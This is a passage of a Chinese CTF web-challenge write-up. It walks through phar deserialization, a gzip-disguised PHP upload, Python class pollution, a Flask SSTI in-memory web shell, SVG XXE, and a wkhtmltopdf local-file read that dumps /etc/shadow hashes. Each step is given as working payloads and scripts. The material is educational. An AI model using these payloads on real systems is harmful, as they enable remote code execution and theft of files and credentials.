die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime));
}
$safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName));
$safeBaseName = ltrim($safeBaseName, '.');
$targetFilename = time() . '_' . $safeBaseName;
file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n"); //查看上传文件,读取日志
$targetPath = $uploadDir . $targetFilename;
if (move_uploaded_file($file['tmp_name'], $targetPath)) {
@chmod($targetPath, 0644);
$resultMessage = '<div class="success"> File uploaded successfully '. '</div>';
} else {
$resultMessage = '<div class="error"> Failed to move uploaded file.</div>';
}
} else {
$resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>';
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Secure File Upload</title>
<style>
body {
font-family: "Segoe UI", Arial, sans-serif;
background: linear-gradient(135deg, #e3f2fd, #f8f9fa);
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.container {
background: #fff;
padding: 2em 3em;
border-radius: 16px;
box-shadow: 0 8px 24px rgba(0,0,0,0.1);
max-width: 400px;
width: 90%;
text-align: center;
}
h1 {
color: #0078d7;
margin-bottom: 0.8em;
font-size: 1.6em;
}
input[type="file"] {
display: block;
margin: 1em auto;
font-size: 0.95em;
}
button {
background-color: #0078d7;
color: white;
border: none;
padding: 0.6em 1.4em;
border-radius: 6px;
cursor: pointer;
transition: 0.2s ease;
}
button:hover {
background-color: #005ea6;
}
.success, .error {
margin-top: 1em;
padding: 0.8em;
border-radius: 8px;
font-weight: 600;
}
.success {
background: #e8f5e9;
color: #2e7d32;
border: 1px solid #81c784;
}
.error {
background: #ffebee;
color: #c62828;
border: 1px solid #ef9a9a;
}
.footer {
margin-top: 1.5em;
font-size: 0.85em;
color: #666;
}
</style>
</head>
<body>
<div class="container">
<h1>📤 File Upload Portal</h1>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">Upload</button>
</form>
<?= $resultMessage ?>
<div class="footer">Allowed types: txt, log, jpg, jpeg, png, zip</div>
</div>
</body>
</html>

这个题从读取的这几个文件当中很明显可以看出考察的是反序列话的内容,但是哪里都看不到unserialize(),考察phar反序列化的内容,也在index.php给出的源码中看到了

$file_contents = file_get_contents($filename); //phar特定的触发函数

而且在index.php的黑名单中

$balcklist = ["../", ... "data://", ... "php://", "/etc/passwd", ...];

也没有看到phar,这就说明了考察的是phar反序列化。 分析一下function.php

1. 终点:C::rce_me() 能执行命令,这是我们的目标。
2. 跳板2:B::__invoke() 调用了 $this->a->rce_me()。如果我们将 $this->a 赋值为C的实例,就能触发终点。
_触发条件_:当对象被当作函数调用时触发__invoke。
3. 跳板1:A::__toString()执行了$function = $this->luo; return $function();。如果$this->luo是B的实例,这里就会触发B的__invoke方法。
_触发条件_:当对象被当作字符串处理(如 echo, 拼接)时触发__toString
4. 起点:B::__wakeup()执行了echo($this->test);。如果$this->test是 A 的实例,echo会强制将其转为字符串,从而触发A::__toString
_触发条件_:反序列化时自动触发__wakeup
综上,利用链逻辑:B::__wakeup() -> echo A -> A::__toString() -> ($B)() -> B::__invoke() -> C::rce_me()

根据以上逻辑

<?php
// 1. 定义题目中的类结构(只保留属性即可)
class A {
public $luo;
}
class B {
public $a;
public $test;
}
class C {
public $b;
}
// 2. 构造 POP 链对象
$c = new C(); // 最终执行命令的对象
$inner_b = new B(); // 用于在 A 中触发 __invoke 的 B 对象
$inner_b->a = $c; // 让 inner_b 调用 C::rce_me()
$a = new A(); // 用于触发 inner_b 的 __invoke
$a->luo = $inner_b; // A::__toString 会调用 $this->luo()
$outer_b = new B(); // 入口对象
$outer_b->test = $a; // B::__wakeup 会 echo $this->test,触发 A::__toString
// 3. 生成 Phar 文件
@unlink("payload.phar");
$phar = new Phar("payload.phar");
$phar->startBuffering();
// 设置 Stub,增加 GIF 头部伪造,绕过可能的 MIME 检查(虽然代码主要是检查 extension)
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
// 将构造好的利用链对象放入 metadata 中
// 当 phar 文件被文件函数操作时,metadata 会被反序列化
$phar->setMetadata($outer_b);
// 添加一个空文件进压缩包,必须操作
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
echo "Phar generate success. Rename to .jpg and upload.";
?>

直接php gen_phar.php报错了,出于安全考虑,PHP 默认禁止脚本创建或修改 Phar 文件(phar.readonly 默认为 On),只允许读取 所有使用php -d phar.readonly=0 gen_phar.php命令,在该目录下生成了payload.phar ,在uploads.php最下边列出只允许上传图片或压缩包后缀(如 jpg, png, zip),所有将payload.phar的文件后缀进行修改payload.jpg 将url改为/uploads.php,页面变成可上传界面。File uploaded successfully 按照uploads.php代码中的信息,回到index.php页面,查看/tmp/log.txt文件

upload file success: 1767017548_payload.jpg, MIME: image/jpeg

然后

/index.php?serialized=1&filename=phar://uploads/1767017548_payload.jpg

页面显示success,然后/index.php?filename=/tmp/flag 读取到flag SYC{LMAO}

eeeeezzzzzzZip#

小杭写了一个压缩包管理平台,但是作为一个开发很不仔细,也许有什么问题在里面呢

打开是个登陆页面,然后扫描工具扫出来还有两个,一个时upload.php,一个是www.zip。 打开www.zip下载了一个压缩包,里面三个源文件,index.php login.php upload.php index.php

index.php
<?php
session_start();
error_reporting(0);
if (!isset($_SESSION['user'])) {
header("Location: login.php");
exit;
}
$salt = 'GeekChallenge_2025';
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = bin2hex(random_bytes(4));
}
$SANDBOX = sys_get_temp_dir() . "/uploads_" . md5($salt . $_SESSION['dir']);
if (!is_dir($SANDBOX)) mkdir($SANDBOX, 0700, true);
$files = array_diff(scandir($SANDBOX), ['.', '..']);
$result = '';
if (isset($_GET['f'])) {
$filename = basename($_GET['f']);
$fullpath = $SANDBOX . '/' . $filename;
if (file_exists($fullpath) && preg_match('/\.(zip|bz2|gz|xz|7z)$/i', $filename)) {
ob_start();
@include($fullpath);
$result = ob_get_clean();
} else {
$result = "文件不存在或非法类型。";
}
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>CloudZip 云压缩平台</title>
<style>
body {
background: #0d1117;
color: #e6e6e6;
font-family: "JetBrains Mono", Consolas, monospace;
margin: 0;
padding: 0;
}
header {
display: flex;
justify-content: space-between;
align-items: center;
background: #161b22;
padding: 12px 30px;
box-shadow: 0 2px 10px rgba(0,0,0,0.5);
}
header h1 {
color: #8ab4f8;
font-size: 20px;
letter-spacing: 1px;
}
header .user {
color: #b3b3b3;
font-size: 14px;
}
.container {
display: flex;
justify-content: center;
gap: 30px;
margin-top: 40px;
padding: 0 60px;
}
.card {
background: #1e242b;
border-radius: 12px;
box-shadow: 0 0 12px rgba(140, 82, 255, 0.2);
padding: 25px;
width: 40%;
}
h2 {
color: #c792ea;
font-size: 18px;
border-bottom: 1px solid #333;
padding-bottom: 6px;
}
.file-item {
background: #2a3139;
padding: 10px;
border-radius: 6px;
margin: 6px 0;
display: flex;
justify-content: space-between;
align-items: center;
}
.file-item span {
color: #9ccaff;
}
.file-item a {
color: #c792ea;
text-decoration: none;
}
.file-item a:hover {
text-decoration: underline;
}
input, button {
font-family: inherit;
border-radius: 6px;
outline: none;
}
input[type="text"] {
background: #161b22;
border: 1px solid #4f4f4f;
padding: 8px;
color: #ddd;
width: 80%;
}
button {
background: linear-gradient(90deg, #7e57c2, #9575cd);
border: none;
color: white;
font-weight: bold;
padding: 8px 18px;
cursor: pointer;
margin-left: 8px;
transition: all 0.2s;
}
button:hover {
background: linear-gradient(90deg, #9575cd, #b388ff);
box-shadow: 0 0 8px #7e57c2;
}
.result-box {
margin-top: 20px;
padding: 10px;
background: #151b22;
border: 1px dashed #444;
border-radius: 8px;
color: #9ccaff;
white-space: pre-wrap;
word-break: break-all;
}
.upload-hint {
font-size: 12px;
color: #888;
}
</style>
</head>
<body>
<header>
<h1>☁️ CloudZip 云压缩文件管理平台</h1>
<div class="user">
已登录: <strong><?php echo htmlspecialchars($_SESSION['user']); ?></strong>
&nbsp;|&nbsp;
<a href="upload.php" style="color:#9ccaff;">上传文件</a>
&nbsp;|&nbsp;
<a href="login.php" style="color:#ff8a65;">登出</a>
</div>
</header>
<div class="container">
<!-- 左侧 文件管理 -->
<div class="card">
<h2>📂 会话上传文件</h2>
<p class="upload-hint">目录: <code><?php echo htmlspecialchars($SANDBOX); ?></code></p>
<?php if (count($files) == 0): ?>
<p style="color:#666;">(当前会话目录暂无上传文件)</p>
<?php else: ?>
<?php foreach ($files as $f): ?>
<div class="file-item">
<span><?php echo htmlspecialchars($f); ?></span>
<a href="?f=<?php echo urlencode($f); ?>">Include</a>
</div>
<?php endforeach; ?>
<?php endif; ?>
</div>
<div class="card">
<h2>⚙️ 压缩包内容显示台</h2>
<form method="get">
<input type="text" name="f" placeholder="xxxx_xxx.zip" />
<button type="submit">输出</button>
</form>
<?php if ($result !== ''): ?>
<div class="result-box"><?php echo htmlspecialchars($result); ?></div>
<?php endif; ?>
</div>
</div>
</body>
</html>

login.php

<?php
session_start();
$err = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$u = $_POST['user'] ?? '';
$p = $_POST['pass'] ?? '';
if ($u === 'admin' && $p === 'guest123') {
$_SESSION['user'] = $u;
header("Location: index.php");
exit;
} else {
$err = '登录失败:用户名或密码错误';
}
}
?>
<!doctype html>
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>登录 — CTF</title>
<style>
:root{
--bg:#0f1724;
--card:#0b1220;
--accent:#7c3aed;
--muted:#9aa4b2;
--glass: rgba(255,255,255,0.04);
}
*{box-sizing:border-box}
html,body{height:100%}
body{
margin:0;
font-family: Inter, "Segoe UI", Roboto, "Helvetica Neue", Arial;
background: linear-gradient(180deg, #071029 0%, #081226 60%);
color:#e6eef8;
display:flex;
align-items:center;
justify-content:center;
padding:24px;
}
.container{
width:100%;
max-width:420px;
background: linear-gradient(180deg, rgba(255,255,255,0.02), rgba(255,255,255,0.01));
border-radius:14px;
padding:26px;
box-shadow: 0 8px 30px rgba(2,6,23,0.7), inset 0 1px 0 rgba(255,255,255,0.02);
border: 1px solid rgba(255,255,255,0.03);
backdrop-filter: blur(6px);
}
.brand{
display:flex;
align-items:center;
gap:12px;
margin-bottom:16px;
}
.logo{
width:52px;
height:52px;
border-radius:12px;
background: linear-gradient(135deg,var(--accent), #3b82f6);
display:flex;
align-items:center;
justify-content:center;
font-weight:700;
color:white;
box-shadow: 0 6px 20px rgba(124,58,237,0.18);
}
h1{margin:0;font-size:20px}
p.lead{margin:4px 0 18px;color:var(--muted);font-size:13px}
form{display:flex;flex-direction:column;gap:12px}
label{font-size:13px;color:var(--muted);display:block;margin-bottom:6px}
.input{
background:var(--glass);
border:1px solid rgba(255,255,255,0.03);
padding:12px 12px;
border-radius:10px;
color: #e6eef8;
outline:none;
width:100%;
font-size:15px;
}
.input:focus{
box-shadow: 0 6px 18px rgba(124,58,237,0.12);
border-color: rgba(124,58,237,0.55);
}
.pw-wrap{position:relative}
.pw-toggle{
position:absolute;
right:10px;
top:50%;
transform:translateY(-50%);
background:none;
border:none;
color:var(--muted);
font-size:13px;
cursor:pointer;
padding:6px;
border-radius:6px;
}
.pw-toggle:focus{outline:2px solid rgba(124,58,237,0.18)}
.actions{display:flex;align-items:center;justify-content:space-between;margin-top:4px}
.btn{
background:linear-gradient(90deg,var(--accent), #4f46e5);
border:none;
color:white;
padding:10px 14px;
border-radius:10px;
cursor:pointer;
font-weight:600;
box-shadow: 0 8px 20px rgba(79,70,229,0.12);
}
.btn:hover{transform:translateY(-1px)}
.hint{font-size:13px;color:var(--muted)}
.error{
background: linear-gradient(90deg, rgba(255,77,77,0.08), rgba(255,77,77,0.03));
border:1px solid rgba(255,77,77,0.12);
color:#ffd6d6;
padding:10px;
border-radius:10px;
display:flex;
gap:10px;
align-items:center;
font-size:14px;
}
.small{font-size:12px;color:var(--muted)}
footer{margin-top:16px;text-align:center;color:var(--muted);font-size:12px}
@media (max-width:480px){
.container{padding:18px;border-radius:12px}
h1{font-size:18px}
}
</style>
</head>
<body>
<main class="container" role="main" aria-labelledby="loginTitle">
<div class="brand">
<div class="logo">CTF</div>
<div>
<h1 id="loginTitle">CloudZip 云压缩文件管理平台</h1>
<p class="lead">请使用账户密码登录以进入上传页面</p>
</div>
</div>
<?php if (!empty($err)): ?>
<div class="error" role="alert" aria-live="assertive">
<svg width="18" height="18" viewBox="0 0 24 24" fill="none" aria-hidden="true">
<path d="M12 9v4" stroke="#ff9b9b" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M12 17h.01" stroke="#ff9b9b" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M10.29 3.86 1.82 18a2 2 0 0 0 1.72 3h16.92A2 2 0 0 0 22.2 18L13.71 3.86a2 2 0 0 0-3.42 0z" stroke="#ff9b9b" stroke-width="0.5" fill="rgba(255,77,77,0.06)"/>
</svg>
<div><?php echo htmlspecialchars($err, ENT_QUOTES, 'UTF-8'); ?></div>
</div>
<?php endif; ?>
<form method="post" novalidate>
<div>
<label for="user">用户名</label>
<input id="user" name="user" class="input" placeholder="请输入用户名" autocomplete="username" required autofocus />
</div>
<div>
<label for="pass">密码</label>
<div class="pw-wrap">
<input id="pass" name="pass" class="input" placeholder="请输入密码" type="password" autocomplete="current-password" required />
<button type="button" class="pw-toggle" id="togglePwd" aria-pressed="false" aria-label="切换密码可见">显示</button>
</div>
</div>
<div class="actions">
<button class="btn" type="submit">登录</button>
</div>
</form>
</main>
<script>
(function(){
const btn = document.getElementById('togglePwd');
const pass = document.getElementById('pass');
btn.addEventListener('click', function(){
const isPwd = pass.type === 'password';
pass.type = isPwd ? 'text' : 'password';
btn.textContent = isPwd ? '隐藏' : '显示';
btn.setAttribute('aria-pressed', isPwd ? 'true' : 'false');
});
document.getElementById('user').addEventListener('keydown', function(e){
if(e.key === 'Enter') document.querySelector('form').requestSubmit();
});
document.getElementById('pass').addEventListener('keydown', function(e){
if(e.key === 'Enter') document.querySelector('form').requestSubmit();
});
})();
</script>
</body>
</html>

upload.php

<?php
// upload.php(美化版)
// 说明:已修复前端 JS 的语法错误并增强上传完成后的 UI 行为
session_start();
error_reporting(0);
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
'application/zip',
'application/x-bzip2',
'application/gzip',
'application/x-gzip',
'application/x-xz',
'application/x-7z-compressed',
];
$BLOCK_LIST = [
"__HALT_COMPILER()",
"PK",
"<?",
"<?php",
"phar://",
"php",
"?>"
];
function content_filter($tmpfile, $block_list) {
$fh = fopen($tmpfile, "rb");
if (!$fh) return true;
$head = fread($fh, 4096);
fseek($fh, -4096, SEEK_END);
$tail = fread($fh, 4096);
fclose($fh);
$sample = $head . $tail;
$lower = strtolower($sample);
foreach ($block_list as $pat) {
if (stripos($sample, $pat) !== false) {
// 为避免泄露过多信息,这里不直接 echo sample(你之前有 echo,保持注释)
return false;
}
if (stripos($lower, strtolower($pat)) !== false) {
return false;
}
}
return true;
}
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = bin2hex(random_bytes(4));
}
$salt = 'GeekChallenge_2025';
$SANDBOX = sys_get_temp_dir() . "/uploads_" . md5($salt . $_SESSION['dir']);
if (!is_dir($SANDBOX)) mkdir($SANDBOX, 0700, true);
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_FILES['file'])) {
http_response_code(400);
die("No file.");
}
$tmp = $_FILES['file']['tmp_name'];
$orig = basename($_FILES['file']['name']);
if (!is_uploaded_file($tmp)) {
http_response_code(400);
die("Upload error.");
}
$ext = strtolower(pathinfo($orig, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) {
http_response_code(400);
die("Bad extension.");
}
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $tmp);
finfo_close($finfo);
if (!in_array($mime, $allowed_mime_types)) {
http_response_code(400);
die("Bad mime.");
}
if (!content_filter($tmp, $BLOCK_LIST)) {
http_response_code(400);
die("Content blocked.");
}
$newname = time() . "_" . preg_replace('/[^A-Za-z0-9._-]/', '_', $orig);
$dest = $SANDBOX . '/' . $newname;
if (!move_uploaded_file($tmp, $dest)) {
http_response_code(500);
die("Move failed.");
}
echo "UPLOAD_OK:" . htmlspecialchars($newname, ENT_QUOTES);
exit;
}
?>
<!doctype html>
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>文件上传 — CTF</title>
<style>
:root {
--bg:#0f1724;
--card:#0b1220;
--accent:#7c3aed;
--muted:#9aa4b2;
--glass:rgba(255,255,255,0.04);
}
body {
margin:0;
background: linear-gradient(180deg, #071029 0%, #081226 60%);
font-family: Inter, "Segoe UI", Roboto, "Helvetica Neue", Arial;
color:#e6eef8;
display:flex;
align-items:center;
justify-content:center;
height:100vh;
}
.container {
background: var(--glass);
border:1px solid rgba(255,255,255,0.04);
border-radius:14px;
padding:26px;
max-width:500px;
width:100%;
box-shadow: 0 8px 30px rgba(2,6,23,0.7);
position:relative;
}
h1 {
margin-top:0;
font-size:22px;
margin-bottom:10px;
text-align:center;
}
p {
text-align:center;
color:var(--muted);
margin-bottom:24px;
font-size:14px;
}
.file-input {
display:flex;
flex-direction:column;
align-items:center;
gap:12px;
}
.input-box {
border:2px dashed rgba(255,255,255,0.08);
border-radius:12px;
padding:30px;
text-align:center;
cursor:pointer;
transition: all 0.3s ease;
background: rgba(255,255,255,0.02);
width:100%;
box-sizing:border-box;
}
.input-box:hover {
border-color: var(--accent);
background: rgba(124,58,237,0.04);
}
input[type=file] {
display:none;
}
.btn {
background:linear-gradient(90deg,var(--accent),#4f46e5);
border:none;
color:white;
padding:10px 18px;
border-radius:10px;
cursor:pointer;
font-weight:600;
font-size:14px;
box-shadow:0 8px 20px rgba(79,70,229,0.12);
transition:0.2s ease;
}
.btn:hover {
transform:translateY(-1px);
}
#result {
margin-top:16px;
font-size:14px;
word-break:break-all;
text-align:center;
}
#progress {
width:100%;
background:rgba(255,255,255,0.1);
border-radius:6px;
overflow:hidden;
margin-top:16px;
display:none;
}
#bar {
width:0%;
height:8px;
background:var(--accent);
transition:width 0.2s ease;
}
.logout {
position:absolute;
top:16px;
right:16px;
color:var(--muted);
font-size:13px;
text-decoration:none;
border-bottom:1px dotted var(--muted);
}
code {
background:rgba(0,0,0,0.2);
padding:2px 6px;
border-radius:4px;
font-size:13px;
}
</style>
</head>
<body>
<a href="login.php" class="logout">← 退出登录</a>
<div class="container">
<h1>上传压缩包</h1>
<p>仅允许上传 zip、bz2、gz、xz、7z 文件,系统会自动生成随机存储路径。</p>
<form id="uploadForm" enctype="multipart/form-data" method="post" class="file-input">
<label for="file" class="input-box" id="dropArea">
<strong>点击选择文件或拖拽文件至此</strong>
<div id="fileName" style="margin-top:8px;color:var(--muted)">未选择文件</div>
</label>
<input type="file" name="file" id="file" accept=".zip,.bz2,.gz,.xz,.7z" required />
<button class="btn" type="submit">上传</button>
<div id="progress"><div id="bar"></div></div>
<div id="result"></div>
</form>
</div>
<script>
const fileInput = document.getElementById('file');
const fileName = document.getElementById('fileName');
const dropArea = document.getElementById('dropArea');
const form = document.getElementById('uploadForm');
const result = document.getElementById('result');
const progress = document.getElementById('progress');
const bar = document.getElementById('bar');
// 更新文件名显示
fileInput.addEventListener('change', () => {
if (fileInput.files.length > 0) {
fileName.textContent = fileInput.files[0].name;
} else {
fileName.textContent = "未选择文件";
}
});
// 拖拽样式与行为
dropArea.addEventListener('dragover', e => {
e.preventDefault();
dropArea.style.borderColor = '#7c3aed';
});
dropArea.addEventListener('dragleave', e => {
e.preventDefault();
dropArea.style.borderColor = 'rgba(255,255,255,0.08)';
});
dropArea.addEventListener('drop', e => {
e.preventDefault();
dropArea.style.borderColor = 'rgba(255,255,255,0.08)';
if (e.dataTransfer.files && e.dataTransfer.files.length > 0) {
fileInput.files = e.dataTransfer.files;
fileName.textContent = fileInput.files[0].name;
}
});
// 上传逻辑(修复了语法错误,添加完备回调)
form.addEventListener('submit', e => {
e.preventDefault();
const file = fileInput.files[0];
if (!file) return alert("请选择文件");
const xhr = new XMLHttpRequest();
const formData = new FormData();
formData.append("file", file);
// 显示进度条,初始化
progress.style.display = 'block';
bar.style.width = '0%';
result.textContent = '';
xhr.upload.onprogress = function (ev) {
if (ev.lengthComputable) {
const percent = Math.round((ev.loaded / ev.total) * 100);
bar.style.width = percent + '%';
}
};
xhr.onload = function () {
// 隐藏进度条
progress.style.display = 'none';
bar.style.width = '0%';
if (xhr.status === 200) {
const resp = xhr.responseText || '';
if (resp.startsWith("UPLOAD_OK:")) {
const fname = resp.split(":")[1];
result.innerHTML = `✅ 上传成功:<code>${fname}</code>`;
// 尝试清空 file input(兼容多数浏览器)
try {
fileInput.value = "";
// 替换节点以确保 file list 被清空
const newInput = fileInput.cloneNode();
fileInput.parentNode.replaceChild(newInput, fileInput);
// 重新绑定 change 事件到新 input
newInput.addEventListener('change', () => {
if (newInput.files.length > 0) {
fileName.textContent = newInput.files[0].name;
} else {
fileName.textContent = "未选择文件";
}
});
// update reference
window.fileInput = newInput;
} catch (err) {
// ignore
}
fileName.textContent = "未选择文件";
} else {
result.textContent = "❌ " + resp;
}
} else {
result.textContent = "❌ 上传失败 (" + xhr.status + ")";
}
};
xhr.onerror = function () {
progress.style.display = 'none';
bar.style.width = '0%';
result.textContent = "❌ 上传出错";
};
xhr.open("POST", "", true);
xhr.send(formData);
});
</script>
</body>
</html>

在login.php看到了if (u === 'admin' && p === ‘guest123’) ,成功登陆进去,能查看压缩包文件内容,也能上传压缩包,就是最开始扫出来的upload.php 再回去看源码,在upload.php中发现黑名单限制和允许上传后缀,并且还对MIME做出了要求

$BLOCK_LIST = [
"__HALT_COMPILER()",
"PK",
"<?",
"<?php",
"phar://",
"php",
"?>"
];
accept=".zip,.bz2,.gz,.xz,.7z"

然后还有

$head = fread($fh, 4096); fseek($fh, -4096, SEEK_END); $tail = fread($fh, 4096); fclose($fh);

综上得知的条件就是:如果扩展名匹配,也没有被过滤,上传的“压缩文件”会被当成 PHP 代码include 执行。然后会过滤头尾的4096个字节,那么就能在中间插入可执行的代码。那么根据这个逻辑就可以写一段代码来干这件事

# 1. gzip 魔数(必须以这个开头,finfo 才会识别为 gzip)
gzip_magic = b"\x1f\x8b\x08" # ID1=0x1f, ID2=0x8b, CM=8 (deflate)
# 2. 前 4096 字节:魔数 + 填充到 4096
header = gzip_magic + b"\x00" * (4096 - len(gzip_magic))
# 3. PHP payload
payload_code = b"<?php system('cat /flag/flag.txt');?>"
# 4. 尾部 4096 字节:全零填充(无害)
footer = b"\x00" * 4096
# 5. 组装完整文件
full_content = header + payload_code + footer
# 6. 写入文件
with open("7.gz", "wb") as f:
f.write(full_content)
print("[+] Payload written to exploit.gz")
print(f" Total size: {len(full_content)} bytes")
print(f" Payload offset: {len(header)} bytes")

然后就生成了一个压缩包,上传,然后再index.php中点击这个压缩包1767104831_7.gz的include,然后就能看到flagSYC{LMAO}

百年继承#

多年以后,面对命令执行,奥雷良诺·布恩地亚上校将会回想起,他父类带它去见识属性的那个遥远的下午。 ———— 奥雷良诺·布恩地亚上校一生卷入了无数次武装起义,甚至多次面对行刑队,但他始终侥幸逃脱,从未真的被枪决,这次应该也一样

先直接点一遍时间流逝,输入示例的JSON{“weapon”:“spear”,“tactic”:“ambush”}

上校已创建。
上校继承于他的父亲,他的父亲继承于人类
时间流逝:卷入武装起义:命运与战争交织。
时间流逝:抉择时刻:上校需要做出选择(武器与策略)。
上校选择:{"weapon": "spear", "tactic": "ambush"}
选择已生效。
事件:上校使用 spear,采取 ambush 策略。世界线变动...
(上校的weapon属性被赋值为spear,tactic属性被赋值为ambush)
时间流逝:宿命延续:行军与退却。
时间流逝:面对行刑队:命运的审判即将到来。
行刑队:开始执行判决。
行刑队也继承于人类
临死之前,上校目光瞄着行刑队的佩剑,上面分明写着:
lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功')
这是人类自古以来就拥有的execute_method属性...
处决成功
时间流逝:结局:命运如沙漏般倾泻……
时间流逝:结局:命运如沙漏般倾泻……

先理顺清楚继承链 首先定义了人类,父亲继承于人类,上校继承于父亲,行刑队也继承与人类,那么就是

class Human():
class Father(Human):
class ExecutionSquad(Human):
class Colonel(Father):

然后搞清属性赋值关系:spear会赋值给weapon,ambush会赋值给tactic 后边写着lambda executor, target: (target.__del__(), setattr(target, 'alive', False)这是人类自古以来就拥有的execute_method属性。是一个py的原型链污染 首先直接污染execute_method属性,但是会发现让他处决失败并没有给出flag,所以就命令执行

{"__class__": {"__base__": {"__base__": {"execute_method": "lambda executor, target: (target.__del__(), setattr(target, 'alive', True), __import__('subprocess').check_output(['env']).decode())"}}}}

成功得到flagSYC{0ne_Hundr3d_Ye@rs_of_Inheritance_LMAO}

week3#

路在脚下#

最开始做的时候对SSTI的理解比较差,理解成了许多关键字绕过,但是实际上就是很自由的SSTI,只不过没有回显 首先测试SSTI类型

{{7*7}} //# 渲染出来不一样,我不会告诉你任何事情!
<%=7*7%> //直接输出了,没有渲染

那就是flask模板注入,由于没有回显,出网的话可以考虑外带,不出网可以考虑写入静态文件或者打内存马,前两种方式已经试过,但是没成,加上看过的几个wp都是打内存马,那就直接内存马起手。

{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.exec("app = __import__('sys').modules['__main__'].__dict__['app']; rule = app.url_rule_class('/shell', endpoint='shell', methods={'GET'}); app.url_map.add(rule); app.view_functions['shell'] = lambda: __import__('os').popen(__import__('flask').request.args.get('ivory')).read()")}}

路在脚下_revenge#

跟上一关类似

Image Viewer#

安全的在线图片预览网站

读取源代码 关键点在源代码的第 61 行

<input type="file" name="file" accept=".svg/s,imagevg+xml,.png,.jpg,.jpeg,.gif,image/*" />

SVG 图片本质上是 XML 格式的数据。如果服务器端的渲染引擎(后端处理 /render 路由的代码)在解析 XML 时没有禁用外部实体加载,攻击者就可以构造恶意的 SVG 文件,利用 XML 的外部实体功能读取服务器上的本地文件 所以构造一个恶意的SVG文件 创建了一个文本文档 内容

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY f SYSTEM "file:///flag">
]>
<svg width="800" height="500" xmlns="http://www.w3.org/2000/svg">
<text x="20" y="50" font-size="30" fill="red">&f;</text>
</svg>

后缀改为可以上传的svg,出flag

PDF Viewer#

安全的在线PDF阅读器

这个题目输入HTML内容,然后能够按照HTML生成相应的PDF,最开始的示例HTML就是生成了syclover标志的pdf。

<h1>Syclover</h1>
<img src="http://IP/SSTI-labs" width="360" height="240" style="object-fit:cover;display:block;margin:8px auto;" alt="Syclover">

我将原本里面的链接换成了我的服务器公网IP,由于连着我的博客,所以我加了其中一篇文章的名字,生成pdf后去查看了访问日志(ssh连接欸,然后cd /var/log/nginx/,最后tail -f access.log) [访问日志.png] 其中一行写到:

43.248.77.192 - - [01/Jan/2026:19:55:43 +0800] "GET /SSTI-labs HTTP/1.1" 200 47082 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/9.0 Safari/602.1" "-"

发现里面的功能实现是靠一个叫wkhtmltopdf的东西,可通过搜索发现,这个存在任意文件读取漏洞。用的是 XHR 跨域读取本地文件。

<script>
x=new XMLHttpRequest; //创建一个新的请求对象实例x。这是一个用于与服务器(或文件系统)交换数据的客户端对象。
x.onload=function(){
//监听加载事件:当请求成功完成并收到响应时,执行这个函数。
//this.responseText:获取请求返回的具体内容(即文件的内容)。
//document.write(...):将获取到的内容直接覆盖写入当前网页。这意味着如果攻击成功,网页原本的内容会消失,变成/etc/shadow的文件内容。
document.write(this.responseText)
};
x.open('GET','file:///etc/shadow');
//初始化请求:配置请求的方法和目标 URL。
//GET:使用 GET 方法获取资源。
// file:///etc/shadow:这是关键。协议从http://变成了file://。这表示让浏览器去访问本地文件系统
// /etc/shadow:这是 Linux/Unix 系统中存储用户密码哈希的核心敏感文件(通常只有 root 权限可读)
x.send();
//发送请求:正式执行上述配置好的操作。
</script>
--------------干净无注释版(如下)--------------
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open('GET','file:///etc/shadow');
x.send();
</script>

生成PDF

root:*:19507:0:99999:7::: daemon:*:19507:0:99999:7::: bin:*:19507:0:99999:7::: sys:*:19507:0:99999:7::: sync:*:19507:0:99999:7::: games:*:19507:0:99999:7::: man:*:19507:0:99999:7::: lp:*:19507:0:99999:7::: mail:*:19507:0:99999:7::: news:*:19507:0:99999:7::: uucp:*:19507:0:99999:7::: proxy:*:19507:0:99999:7::: wwwdata:*:19507:0:99999:7::: backup:*:19507:0:99999:7::: list:*:19507:0:99999:7::: irc:*:19507:0:99999:7::: gnats:*:19507:0:99999:7::: nobody:*:19507:0:99999:7::: _apt:*:19507:0:99999:7::: systemdnetwork:*:20398:0:99999:7::: systemd-resolve:*:20398:0:99999:7::: messagebus:*:20398:0:99999:7::: avahi:*:20398:0:99999:7::: geoclue:*:20398:0:99999:7::: dave:$1$SEKIaQZe$mpWroqFAsiIhRC/i3loON.:20398:0:99999:7::: john:$1$2On/QORN$6hyMHbZB4zohuV6qvlAt0/:20398:0:99999:7::: emma:$1$Jsu14ZWx$pIl5A9rEr8px17kpSDQXU0:20398:0:99999:7::: WeakPassword_Admin:$1$wJOmQRtK$Lf3l/z0uT/EAsFm3vQkuf.:20398:0:99999:7:::

